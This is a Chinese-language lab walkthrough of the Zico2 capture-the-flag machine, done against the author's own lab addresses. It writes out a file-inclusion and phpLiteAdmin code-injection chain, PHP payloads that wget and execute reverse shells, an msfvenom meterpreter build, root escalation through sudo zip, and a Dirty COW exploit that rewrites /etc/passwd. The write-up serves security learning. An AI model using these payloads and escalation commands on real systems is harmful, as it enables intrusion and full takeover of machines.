zico's shop靶机复现

admin 2022年6月8日06:40:12安全文章评论4 views6602字阅读22分0秒阅读模式

Filename: zico2.ova

File size: 828 MB

MD5:19A5D894D32270875BA6565583BB750B

SHA1:75FA4171A28B4B6F7CEB2EBA1B47A46EA97418E5 

Level: Intermediate

Goal: Get root and read the flag file

Hint: Enumerate, enumerate, and enumerate!

Description:

Zico is trying to build his website but is having some trouble in choosing what CMS to use. After some tries on a few popular ones, he decided to build his own. Was that a good idea? 

靶机ip1.1.1.7

攻击机ip1.1.1.3 

  1. 信息收集:ip地址

[email protected]:~# netdiscover -r 1.1.1.1/24
  1. 信息收集:端口服务

[email protected]:~# nmap -sV -p 0-65535 1.1.1.7

zico's shop靶机复现

  1. 查看web服务

打开http://1.1.1.7网页,只有界面后部“check them out!”有跳转链接。zico's shop靶机复现 

  1. 跳转至http://1.1.1.7/view.php?page=tools.html

zico's shop靶机复现

可以看到链接后面有?page= tools.html,猜想:是否该页面包含文件包含漏洞;文件包含漏洞的特征:?page=,?file=,?home=

zico's shop靶机复现

该网站存在文件包含漏洞;如果不能直接查看到/etc/passwd下的内容,可能是因为默认的目录没有在根目录下,可以采用../../../../的方式,使其返回到根目录下;了解到该网站存在文件包含的漏洞,接下来就需要去寻找网站可以访问的目录,利用文件包含漏洞;读取/etc/passwd文件,验证文件包含漏洞,并发现zico用户,留着备用。 

  1. Dirb爆破,寻找其他线索

[email protected]:~# dirb http://1.1.1.7

zico's shop靶机复现

将扫描出的路径逐个尝试,发现http://1.1.1.7/dbadmin/目录包含发现了一个数据库的登录页面,还有对应的版本信息;phpLiteAdmin是一个用PHP写的基于webSQLite数据库管理工具;

zico's shop靶机复现

只有密码;可以采用密码爆破的方式;此处使用瞎猜,发现默认密码admin 

  1. 使用弱口令登录,并查看敏感文件info

zico's shop靶机复现

Name Pass Md5 decode
root 653F4B285089453FE00E2AAFAC573414 34kroot34
zico 96781A607F4E9F5F423AC01F0DAB0EBD [email protected]

尝试使用获取到的账户进行ssh登录,失败,非ssh密码。

  1. 尝试用searchsploit 去查询对应版本的漏洞;

[email protected]:~# searchsploit phpLiteAdmin

存在PHP 代码注入漏洞; 8.1 metasploit,反弹shell利用msfvemon生成木马;

[email protected]:~/shs# msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=1.1.1.3 LPORT=2768 -f elf -o shellNo encoder or badchars specified, outputting raw payloadPayload size: 123 bytesFinal size of elf file: 207 bytesSaved as: shell
[email protected]:~/shs# file shellshell: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header
[email protected]:~/shs# chmod 777 shell[email protected]:~/shs# ls -la shell-rwxrwxrwx 1 root root 207 12 31 08:25 shell

在数据库中上传该木马并执行;

<?php system("wget 1.1.1.3/shell -O /tmp/shell; chmod 777 /tmp/shell /tmp/shell");?>

浏览器去访问数据库,触发反弹shell

http://1.1.1.7/view.php?page=../../../../usr/databases/shell_db

使用kali监听自身端口,反弹shell

[email protected]:~# msfconsole -qmsf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcppayload => linux/x86/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 1.1.1.3lhost => 1.1.1.3msf5 exploit(multi/handler) > set lport 2768lport => 2768
msf5 exploit(multi/handler) > run[*] Started reverse TCP handler on 1.1.1.3:2768[*] Sending stage (985320 bytes) to 1.1.1.7[*] Meterpreter session 1 opened (1.1.1.3:2768 -> 1.1.1.7:42737) at 2019-12-31 00:04:57 +0800 meterpreter > shellProcess 5840 created.Channel 1 created.pwd                                                                //shell/var/wwwpython -c 'import pty; pty.spawn("/bin/bash")'[email protected]:~$                                                  //tty shell

直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:

$ python -c 'import pty; pty.spawn("/bin/bash")'

 9.1 zip本地文件提权

[email protected]:/home/zico$ lslsbootstrap.zip                            to_do.txt          zico-history.tar.gzjoomla                                   wordpressstartbootstrap-business-casual-gh-pages  wordpress-4.8.zip[email protected]:/home/zico$ cat to_do.txtcat to_do.txt try list:- joomla- bootstrap (+phpliteadmin)- wordpress

 

[email protected]:/home/zico/wordpress$ cat wp-config.php.../** MySQL database username */define('DB_USER', 'zico'); /** MySQL database password */define('DB_PASSWORD', 'sWfCsfJSPV9H3AmQzw8');...

发现MySQL database的账号zico (sWfCsfJSPV9H3AmQzw8)猜测密码复用,尝试ssh远程登录,成功;

[No.2768.CN-20190524SSDA] ssh [email protected][email protected]'s password:                               //sWfCsfJSPV9H3AmQzw8[email protected]:~$ whoamiZico

 列出目前用户可执行与无法执行的指令;

[email protected]:~$ sudo -lMatching Defaults entries for zico on this host:    env_reset, exempt_group=admin,    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User zico may run the following commands on this host:    (root) NOPASSWD: /bin/tar    (root) NOPASSWD: /usr/bin/zip

利用zip提权;

[email protected]:/tmp$ touch exploit[email protected]:/tmp$ sudo zip exploit.zip exploit -T --unzip-command="python -c 'import pty; pty.spawn("/bin/sh")'"  adding: exploit (stored 0%)# whoamiroot

Flag

# python -c 'import pty; pty.spawn("/bin/bash")'[email protected]:~# cd /root/[email protected]:/root# lsflag.txt[email protected]:/root# cat flag.txt#### ROOOOT!# You did it! Congratz!## Hope you enjoyed!####

 8.2 利用文件包含、代码注入漏洞,反弹shell

zico's shop靶机复现

创建一个数据库:Create New Database -> test_db;创建一个表:Cearte new tabel -> test_tb; 一个字段信息;

zico's shop靶机复现

测试数据库是否可写内容,在数据库插入<? phpinfo();?>zico's shop靶机复现

结合文件包含,验证数据库可写内容;

zico's shop靶机复现Kali中添加shell.txt

<?php $sock=fsockopen("1.1.1.1",2768);exec("/bin/sh -i <&3 >&3 2>&3");?>

启动SimpleHTTPService

[email protected]:~/shs# ls2768.php  SimpleHTTPServer.sh  shell.txt[email protected]:~/shs# cat SimpleHTTPServer.shpython -m SimpleHTTPServer 80[email protected]:~/shs# ./SimpleHTTPServer.shServing HTTP on 0.0.0.0 port 80 ...

在数据库中上传该脚本并执行;

<?php system("wget 1.1.1.3/shell.txt -O /tmp/shell.php; php /tmp/shell.php");?>

zico's shop靶机复现

Kali监听端口2768

[email protected]:~/shs# nc -nvlp 2768listening on [any] 2768 ...

浏览器去访问数据库,上传文件,触发反弹shell

http://1.1.1.7/view.php?page=../../../../usr/databases/shell_db

成功获取目标的shell

[email protected]:~# nc -lvvp 2768listening on [any] 2768 ...1.1.1.7: inverse host lookup failed: Unknown hostconnect to [1.1.1.3] from (UNKNOWN) [1.1.1.7] 49617$ whoamiwww-data$ pwd/var/www$ uname -aLinux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
$ python -c 'import pty; pty.spawn("/bin/bash")'        //shell转换为交互式的tty[email protected]:/var/www$

9.2 脏牛提权上传脏牛.c文件;

[email protected]:/var/www$ cd /tmp[email protected]:/tmp$ wget http://1.1.1.3/dirty.c--2019-12-26 18:34:38--  http://1.1.1.3/dirty.cConnecting to 1.1.1.3:80... connected.HTTP request sent, awaiting response... 200 OKLength: 4815 (4.7K) [text/plain]Saving to: `dirty.c'100%[======================================>] 4,815       --.-K/s   in 0s2019-12-26 18:34:38 (322 MB/s) - `dirty.c' saved [4815/4815]

编译、执行脏牛提权;

[email protected]:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt[email protected]:/tmp$ ./dirty 123./dirty 123/etc/passwd successfully backed up to /tmp/passwd.bakPlease enter the new password: 123Complete line:firefart:fiRbwOlRgkx7g:0:0:pwned:/root:/bin/bash mmap: 7f640ff75000madvise 0 ptrace 0Done! Check /etc/passwd to see if the new user was created.You can log in with the username 'firefart' and the password '123'. DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwdDone! Check /etc/passwd to see if the new user was created.You can log in with the username 'firefart' and the password '123'. DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

检查权限。

[email protected]:/tmp$ su - firefartsu - firefartPassword: 123[email protected]:~#head -1 /etc/passwd              // #为管理员权限head -1 /etc/passwd                            // 显示第一行内容firefart:fiRbwOlRgkx7g:0:0:pwned:/root:/bin/bash   // root用户已被替换为firefart用户[email protected]:~#                                // 完成提权

 

  1. Flag

[email protected]:~# lslsflag.txt[email protected]:~# cat flag.txtcat flag.txt#### ROOOOT!# You did it! Congratz!## Hope you enjoyed!####

 


原文始发于微信公众号(CTS纵横安全实验室):zico's shop靶机复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月8日06:40:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  zico's shop靶机复现 http://cn-sec.com/archives/873538.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: